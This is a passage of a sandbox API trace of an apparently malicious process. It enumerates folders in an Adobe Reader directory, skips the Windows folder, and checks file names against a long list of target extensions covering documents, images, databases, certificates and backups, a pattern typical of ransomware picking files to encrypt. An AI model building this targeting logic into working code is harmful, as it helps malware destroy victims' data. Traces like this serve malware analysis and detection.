lstrcmpiW (lpString1=".frm", lpString2=".txt") returned -1 [0278.933] lstrlenW (lpString=".fxg") returned 4 [0278.933] lstrcmpiW (lpString1=".fxg", lpString2=".txt") returned -1 [0278.933] lstrlenW (lpString=".geo") returned 4 [0278.933] lstrcmpiW (lpString1=".geo", lpString2=".txt") returned -1 [0278.933] lstrlenW (lpString=".gif") returned 4 [0278.934] lstrcmpiW (lpString1=".gif", lpString2=".txt") returned -1 [0278.934] lstrlenW (lpString=".grs") returned 4 [0278.934] lstrcmpiW (lpString1=".grs", lpString2=".txt") returned -1 [0278.934] lstrlenW (lpString=".gz") returned 3 [0278.934] lstrcmpiW (lpString1=".gz", lpString2="txt") returned -1 [0278.934] lstrlenW (lpString=".h") returned 2 [0278.934] lstrcmpiW (lpString1=".h", lpString2="xt") returned -1 [0278.934] lstrlenW (lpString=".hdr") returned 4 [0278.934] lstrcmpiW (lpString1=".hdr", lpString2=".txt") returned -1 [0278.934] lstrlenW (lpString=".hpp") returned 4 [0278.934] lstrcmpiW (lpString1=".hpp", lpString2=".txt") returned -1 [0278.935] lstrlenW (lpString=".hta") returned 4 [0278.935] lstrcmpiW (lpString1=".hta", lpString2=".txt") returned -1 [0278.935] lstrlenW (lpString=".htc") returned 4 [0278.935] lstrcmpiW (lpString1=".htc", lpString2=".txt") returned -1 [0278.935] lstrlenW (lpString=".htm") returned 4 [0278.935] lstrcmpiW (lpString1=".htm", lpString2=".txt") returned -1 [0278.935] lstrlenW (lpString=".html") returned 5 [0278.935] lstrcmpiW (lpString1=".html", lpString2="E.txt") returned -1 [0278.935] lstrlenW (lpString=".icb") returned 4 [0278.935] lstrcmpiW (lpString1=".icb", lpString2=".txt") returned -1 [0278.935] lstrlenW (lpString=".ics") returned 4 [0278.935] lstrcmpiW (lpString1=".ics", lpString2=".txt") returned -1 [0278.935] lstrlenW (lpString=".iff") returned 4 [0278.935] lstrcmpiW (lpString1=".iff", lpString2=".txt") returned -1 [0278.936] lstrlenW (lpString=".inc") returned 4 [0278.936] lstrcmpiW (lpString1=".inc", lpString2=".txt") returned -1 [0278.936] lstrlenW (lpString=".indd") returned 5 [0278.936] lstrcmpiW (lpString1=".indd", lpString2="E.txt") returned -1 [0278.936] lstrlenW (lpString=".ini") returned 4 [0278.936] lstrcmpiW (lpString1=".ini", lpString2=".txt") returned -1 [0278.936] lstrlenW (lpString=".iqy") returned 4 [0278.936] lstrcmpiW (lpString1=".iqy", lpString2=".txt") returned -1 [0278.936] lstrlenW (lpString=".j2c") returned 4 [0278.936] lstrcmpiW (lpString1=".j2c", lpString2=".txt") returned -1 [0278.936] lstrlenW (lpString=".j2k") returned 4 [0278.936] lstrcmpiW (lpString1=".j2k", lpString2=".txt") returned -1 [0278.936] lstrlenW (lpString=".java") returned 5 [0278.937] lstrcmpiW (lpString1=".java", lpString2="E.txt") returned -1 [0278.937] lstrlenW (lpString=".jp2") returned 4 [0278.937] lstrcmpiW (lpString1=".jp2", lpString2=".txt") returned -1 [0278.937] lstrlenW (lpString=".jpc") returned 4 [0278.937] lstrcmpiW (lpString1=".jpc", lpString2=".txt") returned -1 [0278.937] lstrlenW (lpString=".jpe") returned 4 [0278.937] lstrcmpiW (lpString1=".jpe", lpString2=".txt") returned -1 [0278.937] lstrlenW (lpString=".jpeg") returned 5 [0278.937] lstrcmpiW (lpString1=".jpeg", lpString2="E.txt") returned -1 [0278.937] lstrlenW (lpString=".jpf") returned 4 [0278.937] lstrcmpiW (lpString1=".jpf", lpString2=".txt") returned -1 [0278.938] lstrlenW (lpString=".jpg") returned 4 [0278.938] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0278.938] lstrlenW (lpString=".jpx") returned 4 [0278.938] lstrcmpiW (lpString1=".jpx", lpString2=".txt") returned -1 [0278.938] lstrlenW (lpString=".js") returned 3 [0278.938] lstrcmpiW (lpString1=".js", lpString2="txt") returned -1 [0278.938] lstrlenW (lpString=".jsf") returned 4 [0278.938] lstrcmpiW (lpString1=".jsf", lpString2=".txt") returned -1 [0278.938] lstrlenW (lpString=".json") returned 5 [0278.939] lstrcmpiW (lpString1=".json", lpString2="E.txt") returned -1 [0278.939] lstrlenW (lpString=".jsp") returned 4 [0278.939] lstrcmpiW (lpString1=".jsp", lpString2=".txt") returned -1 [0278.939] lstrlenW (lpString=".kdc") returned 4 [0278.939] lstrcmpiW (lpString1=".kdc", lpString2=".txt") returned -1 [0278.939] lstrlenW (lpString=".kmz") returned 4 [0278.939] lstrcmpiW (lpString1=".kmz", lpString2=".txt") returned -1 [0278.939] lstrlenW (lpString=".kwm") returned 4 [0278.939] lstrcmpiW (lpString1=".kwm", lpString2=".txt") returned -1 [0278.939] lstrlenW (lpString=".lasso") returned 6 [0278.939] lstrcmpiW (lpString1=".lasso", lpString2="AE.txt") returned -1 [0278.939] lstrlenW (lpString=".lbi") returned 4 [0278.939] lstrcmpiW (lpString1=".lbi", lpString2=".txt") returned -1 [0278.939] lstrlenW (lpString=".lgf") returned 4 [0278.940] lstrcmpiW (lpString1=".lgf", lpString2=".txt") returned -1 [0278.940] lstrlenW (lpString=".lgp") returned 4 [0278.940] lstrcmpiW (lpString1=".lgp", lpString2=".txt") returned -1 [0278.940] lstrlenW (lpString=".log") returned 4 [0278.940] lstrcmpiW (lpString1=".log", lpString2=".txt") returned -1 [0278.940] lstrlenW (lpString=".m1v") returned 4 [0278.940] lstrcmpiW (lpString1=".m1v", lpString2=".txt") returned -1 [0278.940] lstrlenW (lpString=".m4a") returned 4 [0278.940] lstrcmpiW (lpString1=".m4a", lpString2=".txt") returned -1 [0278.940] lstrlenW (lpString=".m4v") returned 4 [0278.940] lstrcmpiW (lpString1=".m4v", lpString2=".txt") returned -1 [0278.940] lstrlenW (lpString=".max") returned 4 [0278.940] lstrcmpiW (lpString1=".max", lpString2=".txt") returned -1 [0278.940] lstrlenW (lpString=".md") returned 3 [0278.941] lstrcmpiW (lpString1=".md", lpString2="txt") returned -1 [0278.941] lstrlenW (lpString=".mda") returned 4 [0278.941] lstrcmpiW (lpString1=".mda", lpString2=".txt") returned -1 [0278.941] lstrlenW (lpString=".mdb") returned 4 [0278.941] lstrcmpiW (lpString1=".mdb", lpString2=".txt") returned -1 [0278.941] lstrlenW (lpString=".mde") returned 4 [0278.941] lstrcmpiW (lpString1=".mde", lpString2=".txt") returned -1 [0278.941] lstrlenW (lpString=".mdf") returned 4 [0278.941] lstrcmpiW (lpString1=".mdf", lpString2=".txt") returned -1 [0278.941] lstrlenW (lpString=".mdw") returned 4 [0278.941] lstrcmpiW (lpString1=".mdw", lpString2=".txt") returned -1 [0278.941] lstrlenW (lpString=".mef") returned 4 [0278.941] lstrcmpiW (lpString1=".mef", lpString2=".txt") returned -1 [0278.941] lstrlenW (lpString=".mft") returned 4 [0278.942] lstrcmpiW (lpString1=".mft", lpString2=".txt") returned -1 [0278.942] lstrlenW (lpString=".mfw") returned 4 [0278.942] lstrcmpiW (lpString1=".mfw", lpString2=".txt") returned -1 [0278.942] lstrlenW (lpString=".mht") returned 4 [0278.942] lstrcmpiW (lpString1=".mht", lpString2=".txt") returned -1 [0278.942] lstrlenW (lpString=".mhtml") returned 6 [0278.942] lstrcmpiW (lpString1=".mhtml", lpString2="AE.txt") returned -1 [0278.942] lstrlenW (lpString=".mka") returned 4 [0278.942] lstrcmpiW (lpString1=".mka", lpString2=".txt") returned -1 [0278.942] lstrlenW (lpString=".mkidx") returned 6 [0278.942] lstrcmpiW (lpString1=".mkidx", lpString2="AE.txt") returned -1 [0278.942] lstrlenW (lpString=".mkv") returned 4 [0278.942] lstrcmpiW (lpString1=".mkv", lpString2=".txt") returned -1 [0278.943] lstrlenW (lpString=".mos") returned 4 [0278.943] lstrcmpiW (lpString1=".mos", lpString2=".txt") returned -1 [0278.943] lstrlenW (lpString=".mov") returned 4 [0278.943] lstrcmpiW (lpString1=".mov", lpString2=".txt") returned -1 [0278.943] lstrlenW (lpString=".mp3") returned 4 [0278.943] lstrcmpiW (lpString1=".mp3", lpString2=".txt") returned -1 [0278.943] lstrlenW (lpString=".mp4") returned 4 [0278.943] lstrcmpiW (lpString1=".mp4", lpString2=".txt") returned -1 [0278.943] lstrlenW (lpString=".mpeg") returned 5 [0278.943] lstrcmpiW (lpString1=".mpeg", lpString2="E.txt") returned -1 [0278.943] lstrlenW (lpString=".mpg") returned 4 [0278.943] lstrcmpiW (lpString1=".mpg", lpString2=".txt") returned -1 [0278.944] lstrlenW (lpString=".mpv") returned 4 [0278.944] lstrcmpiW (lpString1=".mpv", lpString2=".txt") returned -1 [0278.944] lstrlenW (lpString=".mrw") returned 4 [0278.944] lstrcmpiW (lpString1=".mrw", lpString2=".txt") returned -1 [0278.944] lstrlenW (lpString=".msg") returned 4 [0278.944] lstrcmpiW (lpString1=".msg", lpString2=".txt") returned -1 [0278.944] lstrlenW (lpString=".mxl") returned 4 [0278.944] lstrcmpiW (lpString1=".mxl", lpString2=".txt") returned -1 [0278.944] lstrlenW (lpString=".myd") returned 4 [0278.944] lstrcmpiW (lpString1=".myd", lpString2=".txt") returned -1 [0278.944] lstrlenW (lpString=".myi") returned 4 [0278.944] lstrcmpiW (lpString1=".myi", lpString2=".txt") returned -1 [0278.944] lstrlenW (lpString=".nef") returned 4 [0278.944] lstrcmpiW (lpString1=".nef", lpString2=".txt") returned -1 [0278.945] lstrlenW (lpString=".nrw") returned 4 [0278.945] lstrcmpiW (lpString1=".nrw", lpString2=".txt") returned -1 [0278.945] lstrlenW (lpString=".obj") returned 4 [0278.945] lstrcmpiW (lpString1=".obj", lpString2=".txt") returned -1 [0278.945] lstrlenW (lpString=".odb") returned 4 [0278.945] lstrcmpiW (lpString1=".odb", lpString2=".txt") returned -1 [0278.945] lstrlenW (lpString=".odc") returned 4 [0278.945] lstrcmpiW (lpString1=".odc", lpString2=".txt") returned -1 [0278.945] lstrlenW (lpString=".odm") returned 4 [0278.945] lstrcmpiW (lpString1=".odm", lpString2=".txt") returned -1 [0278.945] lstrlenW (lpString=".odp") returned 4 [0278.945] lstrcmpiW (lpString1=".odp", lpString2=".txt") returned -1 [0278.945] lstrlenW (lpString=".ods") returned 4 [0278.946] lstrcmpiW (lpString1=".ods", lpString2=".txt") returned -1 [0278.946] lstrlenW (lpString=".oft") returned 4 [0278.946] lstrcmpiW (lpString1=".oft", lpString2=".txt") returned -1 [0278.946] lstrlenW (lpString=".one") returned 4 [0278.946] lstrcmpiW (lpString1=".one", lpString2=".txt") returned -1 [0278.946] lstrlenW (lpString=".onepkg") returned 7 [0278.946] lstrcmpiW (lpString1=".onepkg", lpString2="_AE.txt") returned -1 [0278.946] lstrlenW (lpString=".onetoc2") returned 8 [0278.946] lstrcmpiW (lpString1=".onetoc2", lpString2="r_AE.txt") returned -1 [0278.946] lstrlenW (lpString=".opt") returned 4 [0278.946] lstrcmpiW (lpString1=".opt", lpString2=".txt") returned -1 [0278.946] lstrlenW (lpString=".oqy") returned 4 [0278.946] lstrcmpiW (lpString1=".oqy", lpString2=".txt") returned -1 [0278.947] lstrlenW (lpString=".orf") returned 4 [0278.947] lstrcmpiW (lpString1=".orf", lpString2=".txt") returned -1 [0278.947] lstrlenW (lpString=".p12") returned 4 [0278.947] lstrcmpiW (lpString1=".p12", lpString2=".txt") returned -1 [0278.947] lstrlenW (lpString=".p7b") returned 4 [0278.947] lstrcmpiW (lpString1=".p7b", lpString2=".txt") returned -1 [0278.947] lstrlenW (lpString=".p7c") returned 4 [0278.947] lstrcmpiW (lpString1=".p7c", lpString2=".txt") returned -1 [0278.947] lstrlenW (lpString=".pam") returned 4 [0278.947] lstrcmpiW (lpString1=".pam", lpString2=".txt") returned -1 [0278.947] lstrlenW (lpString=".pbm") returned 4 [0278.947] lstrcmpiW (lpString1=".pbm", lpString2=".txt") returned -1 [0278.947] lstrlenW (lpString=".pct") returned 4 [0278.947] lstrcmpiW (lpString1=".pct", lpString2=".txt") returned -1 [0278.948] lstrlenW (lpString=".pcx") returned 4 [0278.948] lstrcmpiW (lpString1=".pcx", lpString2=".txt") returned -1 [0278.948] lstrlenW (lpString=".pdd") returned 4 [0278.948] lstrcmpiW (lpString1=".pdd", lpString2=".txt") returned -1 [0278.948] lstrlenW (lpString=".pdf") returned 4 [0278.948] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0278.948] lstrlenW (lpString=".pdp") returned 4 [0278.948] lstrcmpiW (lpString1=".pdp", lpString2=".txt") returned -1 [0278.948] lstrlenW (lpString=".pef") returned 4 [0278.948] lstrcmpiW (lpString1=".pef", lpString2=".txt") returned -1 [0278.948] lstrlenW (lpString=".pem") returned 4 [0278.948] lstrcmpiW (lpString1=".pem", lpString2=".txt") returned -1 [0278.948] lstrlenW (lpString=".pff") returned 4 [0278.949] lstrcmpiW (lpString1=".pff", lpString2=".txt") returned -1 [0278.949] lstrlenW (lpString=".pfm") returned 4 [0278.949] lstrcmpiW (lpString1=".pfm", lpString2=".txt") returned -1 [0278.949] lstrlenW (lpString=".pfx") returned 4 [0278.949] lstrcmpiW (lpString1=".pfx", lpString2=".txt") returned -1 [0278.949] lstrlenW (lpString=".pgm") returned 4 [0278.949] lstrcmpiW (lpString1=".pgm", lpString2=".txt") returned -1 [0278.949] lstrlenW (lpString=".php") returned 4 [0278.949] lstrcmpiW (lpString1=".php", lpString2=".txt") returned -1 [0278.949] lstrlenW (lpString=".php3") returned 5 [0278.949] lstrcmpiW (lpString1=".php3", lpString2="E.txt") returned -1 [0278.949] lstrlenW (lpString=".php4") returned 5 [0278.950] lstrcmpiW (lpString1=".php4", lpString2="E.txt") returned -1 [0278.950] lstrlenW (lpString=".php5") returned 5 [0278.950] lstrcmpiW (lpString1=".php5", lpString2="E.txt") returned -1 [0278.950] lstrlenW (lpString=".phtml") returned 6 [0278.950] lstrcmpiW (lpString1=".phtml", lpString2="AE.txt") returned -1 [0278.950] lstrlenW (lpString=".pict") returned 5 [0278.950] lstrcmpiW (lpString1=".pict", lpString2="E.txt") returned -1 [0278.950] lstrlenW (lpString=".pl") returned 3 [0278.950] lstrcmpiW (lpString1=".pl", lpString2="txt") returned -1 [0278.950] lstrlenW (lpString=".pls") returned 4 [0278.950] lstrcmpiW (lpString1=".pls", lpString2=".txt") returned -1 [0278.950] lstrlenW (lpString=".pm") returned 3 [0278.950] lstrcmpiW (lpString1=".pm", lpString2="txt") returned -1 [0278.950] lstrlenW (lpString=".png") returned 4 [0278.950] lstrcmpiW (lpString1=".png", lpString2=".txt") returned -1 [0278.951] lstrlenW (lpString=".pnm") returned 4 [0278.951] lstrcmpiW (lpString1=".pnm", lpString2=".txt") returned -1 [0278.951] lstrlenW (lpString=".pot") returned 4 [0278.951] lstrcmpiW (lpString1=".pot", lpString2=".txt") returned -1 [0278.951] lstrlenW (lpString=".potm") returned 5 [0278.951] lstrcmpiW (lpString1=".potm", lpString2="E.txt") returned -1 [0278.951] lstrlenW (lpString=".potx") returned 5 [0278.951] lstrcmpiW (lpString1=".potx", lpString2="E.txt") returned -1 [0278.951] lstrlenW (lpString=".ppa") returned 4 [0278.951] lstrcmpiW (lpString1=".ppa", lpString2=".txt") returned -1 [0278.951] lstrlenW (lpString=".ppam") returned 5 [0278.951] lstrcmpiW (lpString1=".ppam", lpString2="E.txt") returned -1 [0278.951] lstrlenW (lpString=".ppm") returned 4 [0278.952] lstrcmpiW (lpString1=".ppm", lpString2=".txt") returned -1 [0278.952] lstrlenW (lpString=".pps") returned 4 [0278.952] lstrcmpiW (lpString1=".pps", lpString2=".txt") returned -1 [0278.952] lstrlenW (lpString=".ppsm") returned 5 [0278.952] lstrcmpiW (lpString1=".ppsm", lpString2="E.txt") returned -1 [0278.952] lstrlenW (lpString=".ppt") returned 4 [0278.952] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0278.952] lstrlenW (lpString=".pptm") returned 5 [0278.952] lstrcmpiW (lpString1=".pptm", lpString2="E.txt") returned -1 [0278.952] lstrlenW (lpString=".pptx") returned 5 [0278.952] lstrcmpiW (lpString1=".pptx", lpString2="E.txt") returned -1 [0278.952] lstrlenW (lpString=".prn") returned 4 [0278.952] lstrcmpiW (lpString1=".prn", lpString2=".txt") returned -1 [0278.952] lstrlenW (lpString=".ps") returned 3 [0278.953] lstrcmpiW (lpString1=".ps", lpString2="txt") returned -1 [0278.953] lstrlenW (lpString=".psb") returned 4 [0278.953] lstrcmpiW (lpString1=".psb", lpString2=".txt") returned -1 [0278.953] lstrlenW (lpString=".psd") returned 4 [0279.156] lstrcmpiW (lpString1=".psd", lpString2=".txt") returned -1 [0279.156] lstrlenW (lpString=".pst") returned 4 [0279.157] lstrcmpiW (lpString1=".pst", lpString2=".txt") returned -1 [0279.157] lstrlenW (lpString=".ptx") returned 4 [0279.157] lstrcmpiW (lpString1=".ptx", lpString2=".txt") returned -1 [0279.157] lstrlenW (lpString=".pub") returned 4 [0279.157] lstrcmpiW (lpString1=".pub", lpString2=".txt") returned -1 [0279.157] lstrlenW (lpString=".pwm") returned 4 [0279.157] lstrcmpiW (lpString1=".pwm", lpString2=".txt") returned -1 [0279.157] lstrlenW (lpString=".pxr") returned 4 [0279.157] lstrcmpiW (lpString1=".pxr", lpString2=".txt") returned -1 [0279.157] lstrlenW (lpString=".py") returned 3 [0279.157] lstrcmpiW (lpString1=".py", lpString2="txt") returned -1 [0279.157] lstrlenW (lpString=".qt") returned 3 [0279.158] lstrcmpiW (lpString1=".qt", lpString2="txt") returned -1 [0279.158] lstrlenW (lpString=".r3d") returned 4 [0279.158] lstrcmpiW (lpString1=".r3d", lpString2=".txt") returned -1 [0279.158] lstrlenW (lpString=".raf") returned 4 [0279.158] lstrcmpiW (lpString1=".raf", lpString2=".txt") returned -1 [0280.385] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834450e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0280.385] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0280.385] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe") returned 1 [0280.385] lstrcmpiW (lpString1="C:\\Windows", lpString2="Adobe") returned 1 [0280.386] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x438dff8 [0280.386] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\*", lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x624480 [0280.717] FindNextFileW (in: hFindFile=0x624480, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0280.717] FindNextFileW (in: hFindFile=0x624480, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5f76c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKSCS.txt", cAlternateFileName="")) returned 1 [0280.718] lstrlenW (lpString="HKSCS.txt") returned 9 [0280.718] lstrlenW (lpString=".1cd") returned 4 [0280.718] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0280.718] lstrlenW (lpString=".3ds") returned 4 [0280.718] lstrcmpiW (lpString1=".3ds", lpString2=".txt") returned -1 [0280.718] lstrlenW (lpString=".3fr") returned 4 [0280.718] lstrcmpiW (lpString1=".3fr", lpString2=".txt") returned -1 [0280.718] lstrlenW (lpString=".3g2") returned 4 [0280.719] lstrcmpiW (lpString1=".3g2", lpString2=".txt") returned -1 [0280.719] lstrlenW (lpString=".3gp") returned 4 [0280.719] lstrcmpiW (lpString1=".3gp", lpString2=".txt") returned -1 [0280.719] lstrlenW (lpString=".7z") returned 3 [0280.719] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0280.719] lstrlenW (lpString=".accda") returned 6 [0280.719] lstrcmpiW (lpString1=".accda", lpString2="CS.txt") returned -1 [0280.719] lstrlenW (lpString=".accdb") returned 6 [0280.719] lstrcmpiW (lpString1=".accdb", lpString2="CS.txt") returned -1 [0280.719] lstrlenW (lpString=".accdc") returned 6 [0280.720] lstrcmpiW (lpString1=".accdc", lpString2="CS.txt") returned -1 [0280.720] lstrlenW (lpString=".accde") returned 6 [0280.720] lstrcmpiW (lpString1=".accde", lpString2="CS.txt") returned -1 [0280.720] lstrlenW (lpString=".accdt") returned 6 [0280.720] lstrcmpiW (lpString1=".accdt", lpString2="CS.txt") returned -1 [0280.720] lstrlenW (lpString=".accdw") returned 6 [0280.720] lstrcmpiW (lpString1=".accdw", lpString2="CS.txt") returned -1 [0280.720] lstrlenW (lpString=".adb") returned 4 [0280.720] lstrcmpiW (lpString1=".adb", lpString2=".txt") returned -1 [0280.720] lstrlenW (lpString=".adp") returned 4 [0280.721] lstrcmpiW (lpString1=".adp", lpString2=".txt") returned -1 [0280.721] lstrlenW (lpString=".ai") returned 3 [0280.721] lstrcmpiW (lpString1=".ai", lpString2="txt") returned -1 [0280.722] lstrlenW (lpString=".ai3") returned 4 [0280.722] lstrcmpiW (lpString1=".ai3", lpString2=".txt") returned -1 [0280.722] lstrlenW (lpString=".ai4") returned 4 [0280.722] lstrcmpiW (lpString1=".ai4", lpString2=".txt") returned -1 [0280.722] lstrlenW (lpString=".ai5") returned 4 [0280.723] lstrcmpiW (lpString1=".ai5", lpString2=".txt") returned -1 [0280.723] lstrlenW (lpString=".ai6") returned 4 [0280.723] lstrcmpiW (lpString1=".ai6", lpString2=".txt") returned -1 [0280.723] lstrlenW (lpString=".ai7") returned 4 [0280.723] lstrcmpiW (lpString1=".ai7", lpString2=".txt") returned -1 [0280.723] lstrlenW (lpString=".ai8") returned 4 [0280.723] lstrcmpiW (lpString1=".ai8", lpString2=".txt") returned -1 [0280.723] lstrlenW (lpString=".anim") returned 5 [0280.723] lstrcmpiW (lpString1=".anim", lpString2="S.txt") returned -1 [0280.723] lstrlenW (lpString=".arw") returned 4 [0280.723] lstrcmpiW (lpString1=".arw", lpString2=".txt") returned -1 [0280.723] lstrlenW (lpString=".as") returned 3 [0280.724] lstrcmpiW (lpString1=".as", lpString2="txt") returned -1 [0280.724] lstrlenW (lpString=".asa") returned 4 [0280.724] lstrcmpiW (lpString1=".asa", lpString2=".txt") returned -1 [0280.724] lstrlenW (lpString=".asc") returned 4 [0280.724] lstrcmpiW (lpString1=".asc", lpString2=".txt") returned -1 [0280.724] lstrlenW (lpString=".ascx") returned 5 [0280.724] lstrcmpiW (lpString1=".ascx", lpString2="S.txt") returned -1 [0280.724] lstrlenW (lpString=".asm") returned 4 [0280.724] lstrcmpiW (lpString1=".asm", lpString2=".txt") returned -1 [0280.724] lstrlenW (lpString=".asmx") returned 5 [0280.724] lstrcmpiW (lpString1=".asmx", lpString2="S.txt") returned -1 [0280.724] lstrlenW (lpString=".asp") returned 4 [0280.725] lstrcmpiW (lpString1=".asp", lpString2=".txt") returned -1 [0280.725] lstrlenW (lpString=".aspx") returned 5 [0280.725] lstrcmpiW (lpString1=".aspx", lpString2="S.txt") returned -1 [0280.725] lstrlenW (lpString=".asr") returned 4 [0280.725] lstrcmpiW (lpString1=".asr", lpString2=".txt") returned -1 [0280.725] lstrlenW (lpString=".asx") returned 4 [0280.726] lstrcmpiW (lpString1=".asx", lpString2=".txt") returned -1 [0280.727] lstrlenW (lpString=".avi") returned 4 [0280.727] lstrcmpiW (lpString1=".avi", lpString2=".txt") returned -1 [0280.728] lstrlenW (lpString=".avs") returned 4 [0280.728] lstrcmpiW (lpString1=".avs", lpString2=".txt") returned -1 [0280.728] lstrlenW (lpString=".backup") returned 7 [0280.728] lstrcmpiW (lpString1=".backup", lpString2="SCS.txt") returned -1 [0280.728] lstrlenW (lpString=".bak") returned 4 [0280.728] lstrcmpiW (lpString1=".bak", lpString2=".txt") returned -1 [0280.728] lstrlenW (lpString=".bay") returned 4 [0280.728] lstrcmpiW (lpString1=".bay", lpString2=".txt") returned -1 [0280.728] lstrlenW (lpString=".bd") returned 3 [0280.728] lstrcmpiW (lpString1=".bd", lpString2="txt") returned -1 [0280.729] lstrlenW (lpString=".bin") returned 4 [0280.729] lstrcmpiW (lpString1=".bin", lpString2=".txt") returned -1 [0280.729] lstrlenW (lpString=".bmp") returned 4 [0280.729] lstrcmpiW (lpString1=".bmp", lpString2=".txt") returned -1 [0280.729] lstrlenW (lpString=".bz2") returned 4 [0280.729] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0280.729] lstrlenW (lpString=".c") returned 2 [0280.730] lstrcmpiW (lpString1=".c", lpString2="xt") returned -1 [0280.730] lstrlenW (lpString=".cdr") returned 4 [0280.730] lstrcmpiW (lpString1=".cdr", lpString2=".txt") returned -1 [0280.730] lstrlenW (lpString=".cer") returned 4 [0280.730] lstrcmpiW (lpString1=".cer", lpString2=".txt") returned -1 [0280.730] lstrlenW (lpString=".cf") returned 3 [0280.730] lstrcmpiW (lpString1=".cf", lpString2="txt") returned -1 [0280.730] lstrlenW (lpString=".cfc") returned 4 [0280.730] lstrcmpiW (lpString1=".cfc", lpString2=".txt") returned -1 [0280.731] lstrlenW (lpString=".cfm") returned 4 [0280.731] lstrcmpiW (lpString1=".cfm", lpString2=".txt") returned -1 [0280.731] lstrlenW (lpString=".cfml") returned 5 [0280.731] lstrcmpiW (lpString1=".cfml", lpString2="S.txt") returned -1 [0280.731] lstrlenW (lpString=".cfu") returned 4 [0280.731] lstrcmpiW (lpString1=".cfu", lpString2=".txt") returned -1 [0280.731] lstrlenW (lpString=".chm") returned 4 [0280.731] lstrcmpiW (lpString1=".chm", lpString2=".txt") returned -1 [0280.731] lstrlenW (lpString=".cin") returned 4 [0280.732] lstrcmpiW (lpString1=".cin", lpString2=".txt") returned -1 [0280.732] lstrlenW (lpString=".class") returned 6 [0280.732] lstrcmpiW (lpString1=".class", lpString2="CS.txt") returned -1 [0280.732] lstrlenW (lpString=".clx") returned 4 [0280.732] lstrcmpiW (lpString1=".clx", lpString2=".txt") returned -1 [0280.732] lstrlenW (lpString=".config") returned 7 [0280.732] lstrcmpiW (lpString1=".config", lpString2="SCS.txt") returned -1 [0280.732] lstrlenW (lpString=".cpp") returned 4 [0280.732] lstrcmpiW (lpString1=".cpp", lpString2=".txt") returned -1 [0280.733] lstrlenW (lpString=".cr2") returned 4 [0280.733] lstrcmpiW (lpString1=".cr2", lpString2=".txt") returned -1 [0280.733] lstrlenW (lpString=".crt") returned 4 [0280.733] lstrcmpiW (lpString1=".crt", lpString2=".txt") returned -1 [0280.733] lstrlenW (lpString=".crw") returned 4 [0280.733] lstrcmpiW (lpString1=".crw", lpString2=".txt") returned -1 [0280.733] lstrlenW (lpString=".cs") returned 3 [0280.733] lstrcmpiW (lpString1=".cs", lpString2="txt") returned -1 [0280.733] lstrlenW (lpString=".css") returned 4 [0280.733] lstrcmpiW (lpString1=".css", lpString2=".txt") returned -1 [0280.734] lstrlenW (lpString=".csv") returned 4 [0280.734] lstrcmpiW (lpString1=".csv", lpString2=".txt") returned -1 [0280.734] lstrlenW (lpString=".cub") returned 4 [0280.734] lstrcmpiW (lpString1=".cub", lpString2=".txt") returned -1 [0280.734] lstrlenW (lpString=".dae") returned 4 [0280.734] lstrcmpiW (lpString1=".dae", lpString2=".txt") returned -1 [0280.734] lstrlenW (lpString=".dat") returned 4 [0280.734] lstrcmpiW (lpString1=".dat", lpString2=".txt") returned -1 [0280.734] 